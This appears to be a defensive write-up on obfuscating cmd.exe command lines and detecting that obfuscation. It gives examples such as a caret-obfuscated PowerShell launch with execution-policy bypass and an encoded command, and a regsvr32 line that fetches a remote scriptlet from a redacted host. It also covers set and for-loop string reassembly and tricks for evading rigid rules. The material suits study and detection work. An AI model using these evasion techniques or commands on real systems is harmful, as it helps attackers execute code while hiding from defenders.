Cmd.exe Obfuscation and Detection Techniques

Incident Response practitioners rely on data points like parent/child process relationships (e.g. winword.exe spawning a child process of cmd.exe or powershell.exe) and process names paired with argument values (e.g. cmd.exe process execution containing the string PowerShell in the command line arguments). Although these data points are still extremely valuable for defenders, attackers can manipulate these elements to evade overly rigid detection logic.

A rule that alerts when a process called winword.exe spawns a child process named cmd.exe could be evaded by a malicious macro first copying cmd.exe to benign. exe and then invoking this renamed copy of cmd.exe.

Cmd.exe's escape character, the caret (^), is the most commonly used obfuscation character within the context of cmd.exe. The caret character remains effective at evading many rigid signatures by breaking up almost any string on which a given detection might rely.

```
C:\WINDOWS\system32\cmd.exe /c
P^^o^^w^^e^^r^^S^^h^^e^^l^^l^^.^^e^^x^^e^^
-No^^Exit -Ex^^ec By^^pass -^^EC YwBhAG^^wAYwA=
```

Cmd.exe cannot escape double quotes, so an adjacent pair of double quotes is more like a concatenation. Double quotes inserted into the argument strings within these groupings do not affect the process execution and are not removed from the recorded command line arguments. This persistence into the recorded command argument is what makes the double quote an effective obfuscation character. Double quotes are used legitimately more frequently than caret characters, making it more difficult to differentiate malicious usage from benign.

```
regsvr32.exe /s /n /u /i:"h"t"t"p://<REDACTED>.jpg scrobj.dll
```

Evenly-paired parentheses can encapsulate individual commands in cmd.exe's arguments without affecting the execution of each command. Paired parentheses can be liberally applied for obfuscation purposes as shown in the following simplified example:

```
cmd.exe /c (   ( ((echo Command 1)          )  ))
&&(   (        (((((echo Command 2)))))      )  )
```

This capability might adversely affect detection logic that pairs together multiple commands assuming only the possibility of whitespace between cmd.exe's logical operators and the next command.

The final obfuscation characters uncovered during this research are the comma and semicolon. The comma and semicolon are almost always interchangeable with one another and can be placed almost anywhere that whitespace is allowed in cmd.exe command line arguments. These characters can even serve as delimiters in places where whitespace delimiters are typically required.

```
,;,cmd.exe,;,/c,;,echo;Command 1&&echo,Command 2
```

Detecting DOSfuscation:

Numerous set commands + logical operators & or && + call command:

```
cmd /c "set com3= /ano&&set com2=stat&&set com1=net&&
call set final=%com1%%com2%%com3%&&call %final%"
```

Multiple adjacent environment variables for concatenation reassembly:

```
cmd /c "set com3= /ano&&set com2=stat&&set com1=net&&
call set final=%com1%%com2%%com3%&&call %final%"
```

Set command + for loop syntax + variable substring syntax:

```
cmd /V:ON /C "set unique=nets /ao&&FOR %A
IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set
final=!final!!unique:~%A,1!&&IF %A==1337 CALL
%final:~-12%"
```

Numerous set commands + multiple string substitutions:

```
cmd /V:ON /C "set command=neZsZ7Z /7no&&
set sub2=!command:7=a!&&set
sub1=!sub2:Z=t!&&CALL %sub1%"
```

The above building block suggestions are extremely basic and should merely serve as a starting point for detection development. However, this should begin reducing the amount of data returned from initial searches. In the case of small environments there may not be much noise at all to filter out. However, in other environments there might be one of many enterprise applications that legitimately uses for loops, variable substrings and concatenated strings on the command line in high quantities. In these environments multiple iterations and layers of detection tuning may be required.

Additional approaches involve detecting high frequencies of all obfuscation characters and unusual valid syntaxes like explicitly signed positive integers or whitespace in variable substring syntax.

Since attackers often rename binaries before executing them it is advised (especially for static detections) to base detection logic on command line arguments without including the binary name whenever possible. This approach suggests that certain anchor terms be identified in place of using cmd or cmd.exe as the anchor in the command line arguments.

Many Windows binaries specify command line execution arguments using either a forward slash or a dash. As a result, many defenders write detection rules based on the syntax as defined in the binary's help menu. However, some attackers have started switching between forward slashes and dashes to evade these rigid detection rules. For example:

wscript.exe's //nologo argument can be written as

- */nologo* or *-nologo*

powershell.exe's -nop and -enc arguments can be written as

- */nop* and */enc*

regsvr32.exe's */s* and */I* arguments can be written as

- *–s* and *-i*

Additionally, many binaries allow additional slash flexibility in URLs and file paths:

- **regsvr32.exe** allows */i:https://* and */i:https:*\\
- **powershell.exe** allows *https://*, *https:*\\, *https:/*\ and *https:\/*